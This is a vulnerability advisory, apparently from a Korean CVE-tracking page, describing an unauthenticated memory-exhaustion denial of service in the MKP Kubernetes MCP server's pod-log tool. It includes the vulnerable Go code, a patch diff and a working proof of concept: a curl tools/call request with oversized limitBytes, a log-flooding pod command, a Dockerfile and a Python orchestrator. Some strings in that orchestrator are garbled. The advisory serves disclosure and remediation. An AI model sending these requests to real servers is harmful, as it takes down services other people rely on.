MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion
Summary
The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.
Details
The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.
Source — unbounded parameter parsing (pkg/k8s/subresource.go:171–181):
1// pkg/k8s/subresource.go 2defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil 3... 4if limitBytes, ok := parameters["limitBytes"]; ok { 5 if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { 6 podLogOpts.LimitBytes = &b // no upper-bound check 7 } 8} 9if tailLines, ok := parameters["tailLines"]; ok {10 if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {11 podLogOpts.TailLines = &lines // no upper-bound check12 }13}When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.
Sink — unbounded in-memory copy (pkg/k8s/subresource.go:114–115):
1buf := new(bytes.Buffer) 2_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAMThe stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).
Attack path (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | cmd/server/main.go:30 | Server binds to :8080 on all interfaces; no authentication by default |
| 2 | pkg/mcp/server.go:131 | NewGetResourceTool() registered unconditionally (no --read-write required) |
| 3 | pkg/mcp/get_resource.go:28–38 | Attacker-controlled parameters map parsed from CallToolRequest |
| 4 | pkg/mcp/get_resource.go:76 | client.GetResource(..., parameters) called |
| 5 | pkg/k8s/subresource.go:32–33 | resource=pods + subresource=logs routes into getPodLogs |
| 6 | pkg/k8s/subresource.go:171–181 | limitBytes / tailLines parsed without upper bound (source) |
| 7 | pkg/k8s/subresource.go:114–115 | io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink) |
The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.
Suggested remediation:
1+const ( 2+ maxPodLogTailLines int64 = 1000 3+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap 4+) 5+ 6 buf := new(bytes.Buffer) 7-_, err = io.Copy(buf, podLogs) 8+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1} 9+_, err = io.Copy(buf, limitedLogs)10+if limitedLogs.N == 0 {11+ return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)12+}13 14 if limitBytes, ok := parameters["limitBytes"]; ok {15 if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {16+ if b <= 0 || b > maxPodLogLimitBytes {17+ b = maxPodLogLimitBytes18+ }19 podLogOpts.LimitBytes = &b20 }21 }22 if tailLines, ok := parameters["tailLines"]; ok {23 if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {24+ if lines <= 0 || lines > maxPodLogTailLines {25+ lines = maxPodLogTailLines26+ }27 podLogOpts.TailLines = &lines28 }29 }PoC
Prerequisites
- Docker (for self-contained reproduction)
- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
- MKP server accessible on port 8080
Option A — Self-contained Docker reproduction (Phase 2 method)
This method uses a mock Kubernetes API that streams 128 MB of log data:
1# 1. Clone the repository and enter it 2git clone https://github.com/StacklokLabs/mkp.git 3cd mkp 4 5# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/) 6docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . 7 8# 3. Run the exploit container — output includes RSS measurements 9docker run --rm mkp-vuln-001Expected output (condensed):
1Initial RSS: 26464 kB ( 25.8 MB) 2t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress] 3t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress] 4t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress] 5t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress] 6Peak RSS: 1207572 kB (1179.3 MB) 7Delta RSS: 1181108 kB (1153.4 MB) 8VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)Option B — Real Kubernetes environment (manual)
1# 1. Build and start MKP server (default transport: streamable-http on :8080) 2git clone https://github.com/StacklokLabs/mkp.git && cd mkp 3task build 4./build/mkp-server --kubeconfig=/path/to/kubeconfig 5 6# 2. Create a pod that generates large logs 7kubectl -n default run logbomb --image=busybox --restart=Never -- \ 8 sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 9 10# Wait ~30 seconds for logs to accumulate, then:11 12# 3. Send the exploit request13curl -sS http://127.0.0.1:8080/mcp \14 -H 'Content-Type: application/json' \15 -H 'Accept: application/json, text/event-stream' \16 --data '{17 "jsonrpc": "2.0",18 "id": 1,19 "method": "tools/call",20 "params": {21 "name": "get_resource",22 "arguments": {23 "resource_type": "namespaced",24 "group": "",25 "version": "v1",26 "resource": "pods",27 "namespace": "default",28 "name": "logbomb",29 "subresource": "logs",30 "parameters": {31 "tailLines": "999999999",32 "limitBytes": "2147483647"33 }34 }35 }36 }'Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.
Impact
This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.
Who is impacted:
- Any operator running
mkp-serverin its default configuration (no--read-writeflag required;get_resourceis registered by default on:8080without authentication). - Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g.,
kube-systemworkloads in production clusters almost always satisfy this condition). - Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.
A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.
No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.
Reproduction artifacts
Dockerfile
1# ── Stage 1: Build mkp-server ───────────────────────────────────────────────── 2FROM golang:1.25 AS builder 3 4# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain 5# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient. 6ENV GOTOOLCHAIN=local 7ENV CGO_ENABLED=0 8 9WORKDIR /src10 11# Copy the source tree (build con = parent of vuln-001/)12COPY repo/ .13 14RUN go build -o /mkp-server ./cmd/server15 16# ── Stage 2: Runtime ─────────────────────────────────────────────────────────17FROM python:3.12-slim18 19RUN apt-get update && \20 apt-get install -y --no-install-recommends procps curl && \21 rm -rf /var/lib/apt/lists/*22 23COPY --from=builder /mkp-server /usr/local/bin/mkp-server24 25COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py26COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml27COPY vuln-001/exploit.py /workspace/exploit.py28COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh29 30RUN chmod +x /workspace/entrypoint.sh31 32CMD ["/workspace/entrypoint.sh"]poc.py
1#!/usr/bin/env python3 2""" 3VULN-001 Dynamic Reproduction Orchestrator. 4 5Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . 6Run : docker run --rm mkp-vuln-001 7 8Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single 9tools/call request with limitBytes=134217728 (128 MB), proving that10defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.11"""12import json13import os14import re15import subprocess16import sys17from pathlib import Path18 19WORK_DIR = Path(__file__).parent.resolve()20REPO_ROOT = WORK_DIR.parent21IMAGE = "mkp-vuln-001"22BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."23RUN_CMD = f"docker run --rm {IMAGE}"24 25 26# ─────────────────────────────────────────────────────────────────────────────27def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:28 """Run a shell command, stream its output, and return (rc, full_output)."""29 proc = subprocess.Popen(30 cmd, shell=True,31 stdout=subprocess.PIPE, stderr=subprocess.STDOUT,32 text=True, cwd=cwd,33 )34 lines = []35 for line in proc.stdout:36 print(line, end='', flush=True)37 lines.append(line)38 proc.wait()39 return proc.returncode, ''.join(lines)40 41 42def save_result(result: dict):43 path = WORK_DIR / 'phase2_result.json'44 with open(path, 'w', encoding='utf-8') as f:45 json.dump(result, f, ensure_ascii=False, indent=2)46 print(f"\n[poc] Result saved → {path}")47 48 49def parse_evidence(output: str) -> dict:50 ev: dict = {}51 m = re.search(r'Initial RSS\s*:\s*(\d+)', output)52 if m:53 ev['initial_kb'] = int(m.group(1))54 ev['initial_mb'] = ev['initial_kb'] / 102455 56 m = re.search(r'Peak RSS\s*:\s*(\d+)', output)57 if m:58 ev['peak_kb'] = int(m.group(1))59 ev['peak_mb'] = ev['peak_kb'] / 102460 61 m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)62 if m:63 ev['delta_kb'] = int(m.group(1))64 ev['delta_mb'] = float(m.group(2))65 elif 'peak_kb' in ev and 'initial_kb' in ev:66 ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']67 ev['delta_mb'] = ev['delta_kb'] / 102468 69 m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)70 if m:71 ev['verdict_line'] = m.group(0)72 73 return ev74 75 76def extract_evidence_block(output: str) -> str:77 """Return the EVIDENCE SUMMARY block, or the last 3000 chars."""78 m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)79 if m:80 return m.group(0)[:3000]81 return output[-3000:]82 83 84# ─────────────────────────────────────────────────────────────────────────────85def main():86 print("=" * 60)87 print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction")88 print("=" * 60)89 90 os.chdir(REPO_ROOT)91 92 # ── Docker build ──────────────────────────────────────────────────────────93 print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")94 rc, build_output = run_streaming(BUILD_CMD)95 if rc != 0:96 reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"97 save_result({98 "passed": False,99 "verdict": "FAIL",100 "reason": reason,101 "build_command": BUILD_CMD,102 "run_command": RUN_CMD,103 "poc_command": "python3 vuln-001/poc.py",104 "evidence": build_output[-2000:],105 "artifacts": ["Dockerfile", "poc.py"],106 })107 print(f"\n[poc] FAIL: {reason}")108 return False109 110 print("\n[poc] Build OK.")111 112 # ── Docker run ────────────────────────────────────────────────────────────113 print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")114 rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")115 print(f"\n[poc] Container exited (code={rc})")116 117 ev = parse_evidence(run_output)118 delta_mb = ev.get('delta_mb', 0.0)119 print(f"[poc] Parsed evidence: {ev}")120 121 # ── Verdict ───────────────────────────────────────────────────────────────122 passed = delta_mb >= 50.0123 124 if passed:125 verdict = "PASS"126 init_mb = ev.get('initial_mb', 0)127 peak_mb = ev.get('peak_mb', 0)128 reason = (129 f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "130 f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "131 f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "132 f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."133 )134 else:135 verdict = "INCOMPLETE"136 reason = (137 f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. "138 f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "139 f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"140 )141 142 result = {143 "passed": passed,144 "verdict": verdict,145 "reason": reason,146 "build_command": BUILD_CMD,147 "run_command": RUN_CMD,148 "poc_command": "python3 vuln-001/poc.py",149 "evidence": extract_evidence_block(run_output),150 "artifacts": ["Dockerfile", "poc.py"],151 }152 save_result(result)153 154 print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")155 return passed156 157 158if __name__ == '__main__':159 ok = main()160 sys.exit(0 if ok else 1)AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.